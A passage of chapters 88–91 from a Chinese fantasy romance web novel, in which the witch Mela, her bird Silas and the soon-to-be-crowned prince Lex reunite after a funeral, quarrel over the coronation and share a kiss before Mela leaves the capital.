也不知道是不是被吓到了,在为努伦格尔九世念悼词的时候,菲科勒忽然晕了过去,害得众人还以为又要闹出一场风波。 好在神父们眼疾手快地将晕倒的菲科勒搀扶了下去,换了安德烈上前将悼词念完,最后有惊无险地终于结束了这一场葬礼。 当然了,估计再过几十年,今天在场的贵族们也不会忘记这一出一波三折,堪称惊心动魄的葬礼。 葬礼结束,贵族们自然坐上了马车离开,切尔各注意到莱克斯一直定定地站在原地,不免有些奇怪,“殿下?我们不走吗?” “你先到外面等我,记得把门关上。”莱克斯垂下眼帘,没有向切尔各解释这么做的原因。 好在切尔各哪怕不知道莱克斯打算做什么,却尽职尽责地守在了紧闭的门外,防备着其他人进入教堂之中。 “现在你可以出来了,梅拉。”莱克斯冷静地道。 过了一会儿,窸窸窣窣的动静从神像后的墙壁传来,梅拉也从墙后的暗室中走了出来。 早在金橡城的教堂,梅拉就摸索出了这么一道通往地牢的暗门,她想着或许这边也有相同的设计,于是冒险赶在第一个人进入教堂之前,提前进来,果然让她发现了墙壁上的秘密。 可惜墙后只是一间小小的暗室,梅拉躲在其中,只能透过墙缝察看墙外发生的一切。 看到昏迷的艾莉卡,梅拉暗道糟糕,正在她思索着该怎么救下艾莉卡时,就听到莱克斯开口拦下了教会的人。 只要不是立即要当着所有人的面烧死艾莉卡,她就来得及救人。见状,梅拉的一颗心顿时跌回原位,小小地松了一口气。 然而等再看到那一场刀光血影的混乱,梅拉的心又吊了起来。 她相信莱克斯一定提前做了准备,但他会不会因此受伤,会不会突然出现什么意外打乱了他的计划,梅拉不知道,也说不准,故而难以抑制内心深处的担忧。 幸好,一切都结束了。 莱克斯安然无恙。 “誻膤團對獨鎵对了,你怎么知道我躲在这?”梅拉十分好奇地问。 “你忘了吗?你给我的种子,会为我指明你所在的方向。”莱克斯答。 匆匆行来的几个晚上,莱克斯都会打开匣子,发现自己正在朝梅拉所在的方向前进,他的情绪一下子变得有些复杂。 他怎么也没想到,梅拉竟然真的在王城。 很快,梅拉能够猜到的那些事,同样浮现在了莱克斯的脑海之中,因此看到昏迷的艾莉卡出现的那一刻,莱克斯不动声色地抿住了唇。 他担心梅拉和这名陌生的女巫掺和到了一起,万一一起倒霉地让教会捉住了怎么办。 幸好。 梅拉没事。 莱克斯紧紧盯着梅拉,发现她的颊上带了点汗珠,应该是一直躲在暗室中热的,除此之外露出来的皮肤上没有任何伤口,脑中紧绷的那根弦顿时松开了一些。 “咦,可是它也不能告诉你,我就在这里啊。”梅拉还是有些不解。 “或许是只要你出现在附近,我就一定会有所感应吧。” 莱克斯似乎不觉得这句话有什么,还像个没事人一样抬手,为梅拉拨去黏在脖子上的发丝。 “啊,难怪我感觉脖子有点痒痒的。”梅拉说着,也抬起了手,大拇指按在了莱克斯的眼角。 莱克斯的视线随着她的手移动,看到了梅拉拇指上那一抹殷红的血迹。 是不小心沾上的别人的血。 “莱克斯。”梅拉忽然喊他的名字。 “嗯?” “算了,没什么。” 临到说时,梅拉却又改了口。 其实真的没什么,只是一想到莱克斯利落挥剑的动作,以及他毫不犹豫解决敌人的样子,梅拉便再一次感受到了另一种心跳。 那是莱克斯从未在梅拉面前展示过的一面。 冷酷,强大,不可撼动。 “好。”既然梅拉不想说,莱克斯也没有要探究到底的欲望。 比起这个。 “你愿意随我回王宫吗?” 第88章 第 88 章 [塞拉斯和梅拉才是莱克…… “梅拉小姐, 我就住在你的隔壁,有事随时欢迎来找我帮忙。” 深夜时分,刚从外头回来的切尔各敲开了梅拉的房门。 梅拉打开门,有些讶异地看着切尔各, “我还以为你会陪在莱克斯的身边。” 毕竟莱克斯身边值得他信赖的人不多, 切尔各正是其中之一。 这会儿莱克斯已经回到了王宫,切尔各竟然没有寸步不离地守着他, 这让梅拉感到很是意外。 切尔各笑了笑, 意味深长地道, “正是因为殿下信任我, 所以我此刻才会出现在这栋宅子里。” 保护莱克斯固然重要, 但保护他想保护的人,也属于切尔各应尽的职责。 更何况,只有将梅拉的安全交付给切尔各, 莱克斯才能真正地放心。 梅拉像是没有听出切尔各话里有话似的, 了然地点了点头,没有再多问莱克斯的事情。 今日莱克斯提出想带她一起回王宫的时候,梅拉想了想,还是拒绝了他。 “那太麻烦了,我还是随便找座旅舍凑合凑合算了。” 别的不提,王宫里还有伊莱雅等人,梅拉的身份又太特殊, 哪怕她同莱克斯一起进入王宫, 也势必不能在其中随意走动。难道为了不引起注意,她得从早到晚地躲在莱克斯的房间里吗? 主动选择宅在小木屋里,和被迫困在莱克斯的房间里无法出去,两者完全是不一样的意味。 梅拉才不要选后者。 更何况, 她不是孤身一人,还有艾莉卡和尤莉尔要照顾。 “对了,你能帮我救出艾莉卡吗?”梅拉眼巴巴地看着莱克斯。 既然有莱克斯这么好用的帮手,不用梅拉当然没必要上赶着辛苦自己冒险。 对现在已经恢复身份的莱克斯来说,想要不动声色地从教会手中带走一个人,简直是轻而易举的一件事。 “不用故意摆出这副表情,你明知道我不会拒绝你的要求。”莱克斯的喉结滚动了一下。 “是请求。”梅拉着重强调道。 请人帮忙的事,怎么能厚着脸皮说是要求呢? 至于为什么要故意摆出这副表情。 既然是请求,当然要投其所好了,梅拉笑意吟吟地假装没有看见莱克斯的目光短暂地飘了一瞬。 “今晚我会让人将她送到斐南基在王城的宅邸,你们不如一起在那里住下。” 既然梅拉不想和他一起回王宫,莱克斯沉吟片刻,做出了新的安排。 梅拉想了想,没有再拒绝莱克斯的好意。 旅舍中人来人往,确实不如住在斐南基的宅邸里方便。 * “吱呀”一声,厚重的教堂大门被打开。 切尔各转身,看到从中走出来的莱克斯与梅拉,脸上竟然没有露出任何意外之色。 他还能十分镇定地同梅拉打招呼,“有段日子不见了,梅拉小姐,没想到你也在这里。” 梅拉笑了起来,“你看上去可一点都没有‘没想到’的样子。” 莱克斯也就算了,为什么切尔各也不觉得惊讶? “大概是因为在弗霍斯特庄园分别的那天,我就预感到我们一定会再见面吧。”切尔各潇洒地一摊手,“就像拆生日礼物一样,提前了很久的惊喜,到最后真正拆开的那一刻,也就没有了惊讶,只有全然的喜悦。” 与认识的人重逢,无论从哪个角度看都是再令人高兴不过的一件事。 不过,玩笑话就说到这里,毕竟梅拉他们现在还站在教会的地盘上,不如先行离开,等之后找个合适的时间再叙。 因为有了莱克斯的安排,梅拉光明正大地跟在他的身后走出了教会,根本不担心会被任何人发现。 只不过,梅拉上了马车,莱克斯与切尔各则翻身上马,一前一后地跟在了马车旁。 随后,马车的车轮骨碌碌地滚过路面,载着梅拉前往斐南基位于王城的宅邸。 既然是斐南基在作为宰相时购置的宅邸,它的位置自然离王宫很近,近到梅拉能站在大门处,遥望莱克斯与切尔各逐渐远去,后又被富丽堂皇的王宫吞噬的背影。 “梅拉小姐,我们进去吧?”面容和蔼的女管家温声询问道。 她是留守在这里的女管家。 当初因为斐南基回了弗霍斯特领,自然带走了不少仆人,如今这座宅子里只有女管家,一个厨娘,一个马车夫,三个女仆和三个男仆维持着一应事务。 刚才,听到有客人要来访,女管家久违地感受到了一丝紧张。 她可好久没有在这座宅子里招待过客人了。 等看到梅拉竟然是由莱克斯与切尔各护送而来时,女管家的眼里闪过一抹震惊,同时喉咙里绷着的那口气瞬间松了一大半。 没想到梅拉的来头如此之大,幸好她没有懈怠,而是将所有人召集到一起,耳提面命了几句,好好督促着他们为迎接客人做足了准备。 否则要是让这样一位尊贵的客人因为他们的松懈而受到委屈,女管家敢保证,他们明天就得收拾东西走人,从此再也没有哪位贵族愿意让他们在自己的宅子里工作。 想到这,女管家脸上的笑容愈发慈和,时不时引导着梅拉说上几句话,试图探听她的喜好。 当梅拉露出一点疲惫的神态,她又立刻识趣地停下,安静地领着梅拉前往为她安排的房间。 令梅拉没想到的是,她的房间在三楼,艾莉卡与尤莉尔却被安排在了二楼。 “您是对这样的安排不满意吗?” 见梅拉的脸上流露出讶异的表情,女管家不免感到了些许忐忑。 按照她的想法来说,既然三位客人是朋友,当然是把房间安排在一起最好。 可切尔各派来的人却说,务必要将梅拉与另外两人的房间分开安排。 女管家虽然不明白其中的用意,但她只要懂得照做就好。 于是,梅拉便独自住到了三楼。 “没有不满意,这样的安排挺好的。”梅拉道。 她刚才想了想,艾莉卡和尤莉尔亲如母女,她们住在二楼,不仅方便了尤莉尔去照顾艾莉卡,也方便了她们两人之间单独交流感情。 有些话,当着梅拉这个外人的面,或许两人都别扭地无法开口。 既然梅拉没有异议,女管家便把“其实我可以将她们两重新安排在您的房间隔壁”这句话给咽了回去。 “对了,晚餐的话,您是打算前往餐厅用餐,还是由我们为您送到房间里来呢?” 女管家本来已经抬腿打算离开,想起这件事,忙又转身回来问道。 “送到房间里吧。”梅拉想也不想便做出了决定。 她们三个只是这座宅子的客人,主人不在的时候,就没必要特意去餐厅里用餐了。 于是等到再晚一点,女管家带着一名女仆前来送餐,顺便告诉梅拉,她的两个朋友都到了。 “……马车还没来得及停稳,那位年轻的小姐便迫不及待地打开车厢门,从马车上跳了下来,差点将汉斯给吓一跳。” 女管家绘声绘色地向梅拉复述当时的情形。 怕梅拉不知道汉斯是谁,她赶紧补了一句,“对了,汉斯就是将您送来这里的那位马车夫。” “是他啊。”梅拉点了点头,“真是辛苦他了,刚将我送来,又马不蹄停地赶往了城外。” “这没什么,只是多跑两趟的事而已。”女管家却道。 “他白白领了这几年的薪水,却根本没有为主人干过活,已经够便宜他的啦。” 梅拉笑了笑,没有说话。 见状,女管家闭上了嘴,安静地等梅拉用完晚餐,然后带着女仆与亟待清洗的餐具一同离开了。 她们走后,塞拉斯从柜子上飞下来,替尤莉尔解释了一句:“她是因为听到艾莉卡昏迷的消息太着急,才忍不住从马车上跳下来的。” 别说尤莉尔了,就是塞拉斯得知这件事,第一反应也是:梅拉没事吧?我要赶紧去见她! 等看到梅拉笑意盎然地站在面前,塞拉斯那颗已经跳到嗓子眼里的心才扑通一下落回了原位。 幸好,梅拉没事。 梅拉不仅没事,还心情颇好地抱住塞拉斯,坐到椅子上,有一下没一下地轻抚它身上的羽毛。 过了一会儿,塞拉斯让梅拉摸得有些困意上涌,它张开翅膀扑倒在梅拉怀中,忽然发出一声感慨: “出来这么久,我有点想回黑暗森林了。” 塞拉斯想念会冲它呱呱大叫的青蛙,想念肆意生长在灌木丛中的野花,还想念从小木屋的窗子望出去的那轮月亮。 包括它许久没有踩过的栖杆了。 现在回过头想想,它和梅拉竟然都离开小木屋快三个月了。 一开始的兴奋被取代,塞拉斯如今无比惆怅。 毕竟在它的心中,小木屋已经是它的家了,离家太久,总是难免会冒出一点想家的情绪。 “快了,等所有的事情彻底结束,我就带你回小木屋去。”梅拉同塞拉斯保证道。 “那我们以后还出来吗?”塞拉斯期期艾艾地问。 “总得时不时来看望一下莱克斯吧,不然他一个人留在这里也太可怜了。” 切尔各是莱克斯的骑士,斐南基是莱克斯的宰相,但塞拉斯和梅拉才是莱克斯的家人啊。 至少塞拉斯心里是这么认为的。 “不对,”梅拉笑着摇了摇头,纠正塞拉斯,“当莱克斯未来娶了王后,拥有了属于他们两的孩子,这些才是他真正的家人。” 话说回来,莱克斯现在都十八岁了,或许梅拉口中所说的未来很快就会到来。 “唔……”塞拉斯一时有些恹恹的,它怎么也想象不出莱克斯和别的女人在一起的样子。 第89章 第 89 章 [冷脸] 葬礼第二天, 这座宅邸真正的主人便到了。 车队到的时候,梅拉正好站在走廊上,能借着窗子居高临下地看到一行人乌泱泱地簇拥着最中间的斐南基走入宅子之中。 像是注意到了有人在看自己,斐南基抬头, 对上了梅拉的视线, 他先一步露出一个微笑,冲梅拉轻轻地点了点头。 梅拉自然也回了他一个笑容。 不过, 作为主人, 斐南基并没有招待梅拉的空闲。除了他刚来时偶然同梅拉见了一面之外, 接下来的两天梅拉连他的影子都没见着。 不仅是斐南基, 梅拉也没见到切尔各的身影。 看来莱克斯是真的很忙, 连带着他手底下的人都忙得团团转。 因此当女管家突然问梅拉明天下午是否有空,主人想邀请她共进下午茶的时候,梅拉还有些没反应过来。 见梅拉愣住了, 女管家还有些不解, 担心梅拉真的另有安排。 她正琢磨着该怎么回去告诉斐南基这件事的时候,就听梅拉道:“没问题,我当然有空。” 不如说,梅拉这几天几乎都是无所事事的存在。 她每天就泡在摇椅上翻看王城时兴的故事集,偶尔逗逗塞拉斯,日落时分还会到花园里散散步。 换句话说,整座宅邸里应该没有比她更悠闲的人了。 不过, 梅拉不太懂斐南基找她有什么事。 梅拉看向女管家, 有心想问,又觉得她不像是会清楚其中缘由的样子,于是将嘴里的话又咽了回去,反正等明天见到斐南基就知道了。 能让斐南基百忙之中抽空也要邀请她喝的下午茶, 为的一定不是件小事吧? * 也不知道是不是切尔各给的建议,斐南基没有选择会客厅或是书房,而是特意约了梅拉到花园来喝下午茶。 只见下午的阳光打在柔绿的叶片上,沿着藤蔓在打理得宜的花苞上爬出了一片连绵的阴影。 花园中的小型喷泉不断地往外涌出清澈的水流,时不时溅出几粒透明的水珠,在太阳底下闪出细碎的光芒。 而斐南基坐在花园的石椅上,不紧不慢地端起面前的茶杯抿了一口刚泡好的茶。 梅拉就是这时候来的。 她在斐南基的对面落座,同样捧起茶杯抿了一小口,好烫。 于是梅拉故作自然地把茶杯放下,开始吃起了甜点。 既然是斐南基要找她,当然是斐南基先开口,她听着就好。 “梅拉小姐,好久不见。没想到我们竟然能在王城相遇。” 斐南基果然率先开口同梅拉寒暄道。 接着,他叹了口气,“真抱歉,本来我早就应该和你见个面,作为主人,对客人不闻不问可真是失礼的一件事。但安东尼奥他们留下来的烂摊子实在太多,为了处理这些麻烦,连殿下这几天都忙得脚不沾地,王宫里的烛火更是彻夜长明。” “唔,这么忙的么?”这下梅拉总算知道为何这几天总是到了深夜时分,才听见隔壁传来开门的响动。 不过,都忙到这么晚了,莱克斯还不如直接将切尔各留在王宫里休息,省得他还要多跑一趟。 “是很忙,所以希望梅拉小姐千万不要生殿下的气。”斐南基道。 “生气?我生什么气?”梅拉面露茫然,她对莱克斯有什么好生气的? 斐南基却露出恍然大悟的神情,“看来是我误会了,我还以为梅拉小姐这几天没有主动提出要和殿下见面,是因为在生殿下的气呢。” “听起来,你好像误会了我和莱克斯的关系?”梅拉终于反应过来,斐南基这番话是在隐晦地说她觉得莱克斯冷落了她,在生气。 可梅拉冥思苦想了半天,也没想出她到底做了什么才会让斐南基这么认为。 “或许是殿下对梅拉小姐的态度让我误会了吧。”斐南基倒是宽和地笑了笑。 至于莱克斯到底对梅拉是什么样的态度,他却又闭口不谈了。 “对了,梅拉小姐打算在王城待多久呢?”斐南基像是突然想起来了似的,问道。 “听殿下说你是特意为了解决某件事才来王城的,不知道这件事现在解决了没有?如果碰到麻烦的话,或许我也能帮上一点小忙。” “不用了,我的事已经处理得差不多,大概过几天就会离开王城了。”梅拉答道。 “这么快吗?我还以为梅拉小姐会留下来,直到参加殿下的加冕仪式。” 斐南基有些惊讶,甚至替莱克斯做出了挽留。 “不如梅拉小姐再留下来多呆几天,我相信这么重要的时刻,殿下一定很希望你能亲眼见证。” “算了吧,如果我要去的话,那我该以什么身份站在其他人面前,旁观莱克斯加冕呢。”梅拉微微一笑,指出了其中最棘手的问题。 斐南基垂下眼帘,看着茶水中倒映出的小半张脸,只道:“殿下会有办法的。” “那只好拜托你替我转告莱克斯,我可不想让他为难。”梅拉不在乎地摆摆手,端起茶杯喝了一口茶,压下了嗓子眼里的甜意。 她刚才点心吃得太多,这会儿有点齁住了。 * 斐南基真的是个大忙人。 梅拉还没和他聊多久,就见一个男仆匆匆走到斐南基身边,请他立刻前往王宫。不用想,肯定是莱克斯那头又有事要找他。 梅拉登时体贴地让斐南基不用管她,她可以自己慢慢地享受完桌上的甜点。 虽然这应该本来就是斐南基特意为她准备的,毕竟这场闲聊中,斐南基可一次都没碰过除了茶水之外的东西。 斐南基满含歉意地向梅拉颔首,接着头也不回地同男仆一道离开了。 留下梅拉慢悠悠地解决掉所有甜点,又喝光了一壶茶水,才带着填饱的肚子晃回了房间。 下午吃的太多,导致梅拉面对女仆端上来的晚餐一点食欲也提不起来,全让塞拉斯大快朵颐去了。 塞拉斯吃得开心,还要举着一个油乎乎的鸡腿,不忘点评:“这鸡腿烤得皮有点焦了,下回得提醒厨娘多注意一下火候才行。” 即使如此,那层烤得外酥里嫩的皮还是让这个鸡腿散发出一股诱人的香气,直往梅拉的鼻子里钻。 梅拉本来还不觉得饿,等到了晚上,她从睡梦中忽然醒来,满脑子都是还没吃到的烤鸡腿。 她默默地看了一眼睡得肚子一鼓一鼓的塞拉斯,心痒难耐地翻了个身,试图忘记鸡腿的事。 结果过了半天,梅拉无可奈何地从床上站起来,打开门,站到了走廊上,打算让夜风吹散嘴里的那点馋意。 只不过没想到这么晚了,她竟然还能见到一辆马车缓缓驶入宅邸,从上头走下了斐南基和切尔各两个人。 梅拉不懂唇语,只能靠两人脸上的表情判断此刻切尔各的心情应当不是很好,而斐南基面对情绪有些激动的切尔各显得很是漠然。 他们在说什么?梅拉不由得好奇。 她还是第一次见切尔各露出这样的冷脸。 “你为什么要把这件事提前捅给梅拉知道?明明只要等殿下安排好一切,她就能顺理成章地来参加殿下的加冕礼了。” 天知道切尔各听到斐南基对莱克斯说梅拉不打算参加他的加冕礼时,切尔各的心仿佛一下子坠入深渊,完全不敢去瞧莱克斯的脸色有多么难看。 要他说,斐南基根本是多此一举,只要梅拉不知道莱克斯为了能让她来参加自己的加冕礼付出了多少努力,就能高高兴兴地答应出席一事,这样莱克斯也会感到由衷的喜悦。 因此等到了离开王宫的时候,切尔各没有骑马,而是挤上了斐南基的马车,一脸不快地质问他为什么要这么做。 斐南基冷冷地看了切尔各一眼,“我没有阻止她去参加殿下的加冕礼,是她自己选择了拒绝,既然这样,殿下就不用一头热地白费功夫了。” “反倒是你,就因为不忍心看殿下失望的表情,便纵容着他做这么荒唐的事情。难道你真的要帮助殿下,娶一个女巫当王后吗。” 对于切尔各的做法,斐南基心中明显也颇有微词,只是没有像切尔各一样放到明面上摊开来说而已。 “如果这是殿下想要的,为什么不可以?他即将成为这个王国的国王,难道想娶一个喜欢的女人当王后都不行吗?”切尔各同样语调冷硬地回击。 就算梅拉是女巫又怎么样,只要莱克斯喜欢她,那切尔各就会支持莱克斯做下的一切决定。 他永远是莱克斯最忠心耿耿的骑士。 “当然不行。想要成为王后,可以没有美丽的容颜,没有足够高贵的血统,但她必须拥有良好的教养、优雅的谈吐和开阔的眼界,否则怎么担当得起那一顶璀璨而沉重的王后冠冕。” 王后这个身份带来的不止是荣耀,还有与国王比肩的责任。 而斐南基怎么也没有想到,有莉莉勒斯这个母亲珠玉在前,莱克斯竟然还会想让梅拉成为王后——若是梅拉当上了王后,那她在斐南基眼里和伊莱雅也就没有了区别。 左右都是不堪王后之位的女人。 “你喜欢这种好女人是你的事,和殿下无关。”切尔各冷笑一声,想起了斐南基的妻子,那位常年陪伴儿子隐居在别处的侯爵夫人。 她倒是对丈夫没有怨言,也尽心尽力地在照顾孩子,但她对斐南基显然不存在一星半点的爱情。 同样的,斐南基也不爱她,只是因为她是位门当户对的贵族小姐,又拥有众口交赞的高贵品格,才让她成为了尊贵的侯爵夫人。 切尔各从来都不认同斐南基的想法。 王后是国王的妻子,是他珍爱的女人,仅此而已。 “呵,可我看殿下好像也没办法让梅拉小姐心甘情愿地留下来。” 斐南基走下马车,唇边蕴着一抹讥讽。 “那是殿下的事,只要你不胡乱插手,不管结果如何,都比现在要好。” 切尔各冷脸道。 第90章 第 90 章 [吃醋] 或许是因为有了斐南基的提醒, 梅拉下意识地开始注意莱克斯的动向。 第四天过去,莱克斯没有出现。 第五天过去,莱克斯还是没有出现。 莫名的,梅拉觉得不太对劲。 就算听到了她让斐南基转告的那番话, 莱克斯也不像是会被打击到的样子。 至少不应该连面都不露。 然而当梅拉意识到自己在想些什么的时候, 她的脚步忽然一顿,整个人站在原地发了好一会儿呆。 明明知道莱克斯的心意却不愿意答应的人是她, 甚至故意拜托斐南基转告那番话的人也是她, 然而当莱克斯如她所愿不再出现时, 她竟然开始纠结他为什么不出现。 这下子就连梅拉自己, 都要觉得她有点太无理取闹了。 “梅拉小姐, 今天厨房做了烤得香喷喷的苹果派,要不要给您切一份来当下午茶呢?” 路过的年轻女仆见到梅拉,圆圆的脸蛋上顿时露出一个可爱的笑容, 活泼地和她打招呼道。 经过这几天的相处, 宅邸里的仆人们也都发现了,梅拉这位贵客其实很好伺候,几乎不会提出刁钻的要求刻意为难他们。 因此,年轻一点的仆人都十分乐意和梅拉打交道,还会故意同她说几句俏皮的玩笑话。 “苹果派?好啊,那就麻烦你去厨房帮我切一块,然后送到我的房间里了。” 梅拉笑眯眯地朝女仆挥了挥手, 穿过另一条走廊, 率先回到了三楼的房间。 没一会儿,房门被敲响,女仆端着托盘进来,苹果派甜软的香气瞬间弥漫了整个房间。 贴心的女仆还替梅拉倒了一杯红茶, 这才捧着托盘出去。 女仆一走,梅拉还没来得及动作,塞拉斯刷地一下飞下来,迫不及待地握着银制的餐刀切了一小块送入嘴里。 塞拉斯嚼嚼嚼,点评道:“都是苹果派,好像还是莱克斯做的更好吃一点。” “是吗?” 梅拉却觉得宅邸里的厨娘除了特别舍得放糖,让这苹果派吃起来有点太甜之外,味道上并没有差到哪去。 “等一下,”塞拉斯突然像是想起了什么似的,叫了一声,用不可置信的眼神盯着梅拉,“你不是说喜欢莱克斯把饼皮的边缘烤得焦脆的一圈,这样才好吃吗?” 对于梅拉的挑剔,塞拉斯记得可清楚了。 后来莱克斯每每要做苹果派,梅拉就会蹲在他身边,不停地念叨:“我要吃脆脆的饼皮,我要吃脆脆的饼皮……” 塞拉斯听了都觉得烦不胜烦。 但它现在看梅拉吃烤得松软的饼皮也吃的津津有味的样子,别不是当初故意折腾莱克斯的吧。 “怎么会。”梅拉不肯承认。 她也确实不是故意想要折腾莱克斯的。 然而鉴于梅拉干过的坏事太多,塞拉斯已经不会再傻乎乎地相信她了。 梅拉见状,轻哼一声,忽然没了吃苹果派的兴趣。 她坐在一旁,双手撑着脸,望着空气中的某处出神。 “梅拉,你在想什么呢?” 见梅拉不搭理自己了,塞拉斯反而咽下嘴里的食物,黏黏糊糊地凑了过来。 “在想我会不会有点太贪心了。”梅拉懒洋洋地答道。 又想要得到一只漂亮的小鸟,又不肯接受附带的华丽鸟笼。 “咦,你还有不贪心的时候吗?”塞拉斯没忍住,小声嘀咕了一句。 “你说什么?”梅拉立刻向塞拉斯投去充满威胁的视线。 她可以挑剔自己的毛病,却不允许别人说她真的有毛病。 然而或许是这些日子的经历给了塞拉斯底气,即使有可能惹怒梅拉,塞拉斯也要梗着脖子道:“我说,梅拉就是最最贪心的女巫,但那又怎么样?反正我们也不会嫌弃你的。” 如果、如果梅拉想要塞拉斯这些年好不容易攒下来的家底的话,塞拉斯也不是不能一咬牙、一闭眼,把事情答应下来。 只要梅拉能高兴就好。 尽管塞拉斯不知道梅拉碰到了什么事,但它却能感知到,这几天梅拉的笑容下似乎多了某些东西,一些她不希望它知道的心思。 塞拉斯心里着急,就算顶着被梅拉收拾一顿的风险,它也要故意逗梅拉生气。 反正,不管发生了什么事,只要把坏情绪发泄出来就好了吧?塞拉斯不确定地想。 只不过真的看见梅拉的手伸过来时,塞拉斯还是控制不住地闭上了眼睛,脑子里不停念叨完了完了完了。 梅拉该不会破天荒地要揍它吧?不能吧? 出乎塞拉斯的意料,梅拉只是把它抓到怀里狠狠地揉搓了一通,又是摸它的脑袋又是摸它胸前的软毛。 “你说得对,我就是这么贪心,所以我又要带漂亮的小鸟回家,又要丢掉讨厌的鸟笼。”梅拉笑吟吟地道。 “什么小鸟?你背着我喜欢上别的鸟了?”塞拉斯虽然听得糊里糊涂的,但不妨碍它态度坚决地反对,“不行!我不允许!你只能有我一只鸟!” 最后梅拉只能保证,她说的不是真的鸟,才勉强将塞拉斯给安抚住了。 * 晚上,听见走廊外有轻微的脚步声,一直只是躺在床上并没有睡着的梅拉掀开被子走下床。 她打开门,本意是想叫住切尔各,同他聊聊莱克斯的事。 结果却冷不丁地和真正的莱克斯对上了视线。 “莱克斯,你怎么会在这里?”梅拉奇怪地打量着身后一个仆从也没有,自己举着烛台站在走廊上的莱克斯。 按理说就算这么晚了,以莱克斯的身份,也不可能没有仆人跟在他的身边随时为他鞍前马后,除非这是莱克斯有意为之。 “我来找切尔各。”莱克斯倒是一如既往地镇定自若,让人找不出他神色上的漏洞。 “这么巧,我也要找切尔各,一起吧。”梅拉像是信了莱克斯的话似的,一面挽起脸颊的碎发拨到耳后,一面不给莱克斯反应的机会,主动走到隔壁房间前,抬手敲了三下。 无人回应。 “咦,看来切尔各不在房间里呢?”梅拉转身,似笑非笑地盯着莱克斯,仿佛在等他继续给出一个合理的解释。 “……” 莱克斯默了片刻。 烛台上的三簇火焰让风一吹,同样跟着轻轻地跳动了一下。 “嗯?难道连你都不知道切尔各去了哪吗?那可真是怪了。” 与此同时,梅拉还要揣着明白装糊涂,步步紧逼地追问。 这么点时间,已经足够她反应过来到底发生了什么事。 可梅拉偏要听莱克斯亲口承认。 “……你找切尔各有什么事吗?他今晚留在了王宫休息,恐怕要明天才能来见你了。” 莱克斯总算开口,却没有泄露出任何撒谎被拆穿的不自在。 “只是今晚吗?”梅拉却不信。 除去亲眼见到切尔各与斐南基一同回来的那天晚上,以及最开始切尔各特意来同她打招呼那一夜,梅拉合理怀疑这些日子里睡在她隔壁房间中的人十有八九并不是切尔各。 不,不对,这座宅子里有上百个房间,就算是切尔各回来了,也未必就真的住进了她的隔壁。 “所以,把我独自安排到三楼,其实一开始就是你故意的吧?”顺藤摸瓜,梅拉终于反应过来一切。 但是,梅拉不理解,莱克斯为什么要这么做? 他明明可以直接光明正大地来见她。 是啊,为什么呢?连莱克斯自己都觉得这番做法莫名其妙。 可在准备好足够让梅拉同意留下来的砝码之前,莱克斯宁可每天深夜从王宫赶来,推开梅拉隔壁的房门,坐在扶手椅上,望着窗外的月亮出神。 仅仅是一墙之隔,梅拉此刻便在柔软的床上安睡,她的呼吸声十分清浅,偶尔会因为梦里的情景皱眉头,或是不满地咬唇。 又或者,发出几句模糊不清的呓语。 曾经在小木屋中共同度过的那些夜晚,已经足够莱克斯想象出梅拉睡着后的样子。 莱克斯注视着凭空流淌的薄纱一般的银白色月光,甚至无法控制心中的嫉妒,嫉妒它能照在梅拉的身上,然后顺理成章地流入梅拉的梦中。 不可理喻的念头疯长,莱克斯希望就连梅拉的梦中也能出现他的身影。 或许,在那样一个梦幻之地,梅拉会对他心软一点,而不是一而再再而三地想要离开他。 当然,这些扭曲的心思莱克斯是不可能会说出来的,于是他和梅拉之间只剩沉默。 “莱克斯。” 最后,还是梅拉打破这份古怪的安静,喊了莱克斯的名字。 “嗯。”莱克斯的喉咙里滚出低沉的一声应答。 “我闭上眼睛了。你要补上当初的遗憾吗?” 说着,梅拉真的闭上了眼睛。 换做别人,此刻或许要因为梅拉的话而感到一头雾水,但是站在梅拉面前的是莱克斯,他怎么可能不知道梅拉说的是当初他离开黑暗森林的前夜,因为克制而错过的那一枚吻。 那会儿,梅拉也是故意闭上眼睛,装作睡着了的样子,实则竖起耳朵,聆听着莱克斯靠近的脚步声,感受着他逐渐凑近的呼吸。 梅拉感觉到自己的嘴唇被咬住了。 不,或许说咬住不太恰当,因为她并没有感觉到疼痛。 莱克斯分明只是含着她的嘴唇轻轻地吮/吸。 梅拉的双手不自觉地搭在了莱克斯的肩上。 否则她担心自己下一秒就要因为浑身乏力而跌坐在地。 似乎察觉到了梅拉的担忧,莱克斯也伸出了手,环住了梅拉的腰,既给予她有力的支持,也不许她有逃跑的机会。 半晌,梅拉示意莱克斯放开,她的嘴巴都快肿了。 莱克斯遂了梅拉的心意放开她,手却仍然牢牢地扣着梅拉,不肯放松。 “莱克斯。”梅拉侧头,靠到了莱克斯的肩上,在他的耳边轻声呼唤他。 “王宫和小木屋,我更喜欢住在小木屋中的生活。” 所以,她不可能为了莱克斯留下来。 “嗯。”莱克斯低低地应道,仿佛一滴露水从叶片上滑落,砸出微不足道的一声细响。 他明白。 他一直都明白。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第91章【VIP】 第91章 第 91 章 [加冕] 梅拉最后还是没有参加莱克斯的加冕礼。 在众人紧锣密鼓地为莱克斯的加冕礼奔走忙碌时, 一辆外形普通,毫不惹眼的马车从王城缓缓驶出。 站在二楼的书房内目送马车离去,切尔各双手环胸,看向坐在椅子上翻阅文书的斐南基, 语气不善地开口:“这下你满意了?” “这和我满不满意有什么关系?”闻言, 斐南基连头都没抬,“难道你觉得我能在你的盯梢之下插手他们两位之间的事吗?” 换句话说, 一切都是梅拉自己的选择, 切尔各不能把她的离开怪罪到斐南基身上。 尽管如今确实是斐南基想要的结果, 但这也只能说明斐南基的看法是对的, 莱克斯留不下梅拉, 他们注定无法在一起。 啧,就是因为知道这一点,切尔各才会如此不甘又遗憾。 明明梅拉看起来也不像对莱克斯毫无爱意的样子, 为什么就是不肯答应留下来呢? * 马车内, 梅拉独自坐在左边的车凳上,艾莉卡与尤莉尔则一起坐在右边。 说起来,艾莉卡之前不过是让教会的守卫给打晕了,并不像尤莉尔担心的那样受了什么伤。 只不过那些守卫下手比较重,导致艾莉卡的脑后直接肿了一大块乌青,昏昏沉沉地晕了一天一夜才醒过来。 即使醒来了,艾莉卡仍旧头疼难忍, 走路都需要人搀扶着, 这才不得不在宅邸里多留了几天。 “真稀奇,我还以为你不打算离开了呢?” 艾莉卡靠着车壁,饶有深意地看着梅拉。 休养的这些天里,艾莉卡虽然一直呆在房间里, 但并不妨碍她站在窗边瞥见梅拉与宅邸里的其他人相谈甚欢的模样。 说到底,梅拉和她,和尤莉尔都不一样,得益于从小在白松镇长大,梅拉如果想,完全可以轻松地融入人群之中。 或许对梅拉来说,她也更适应这种生活呢? 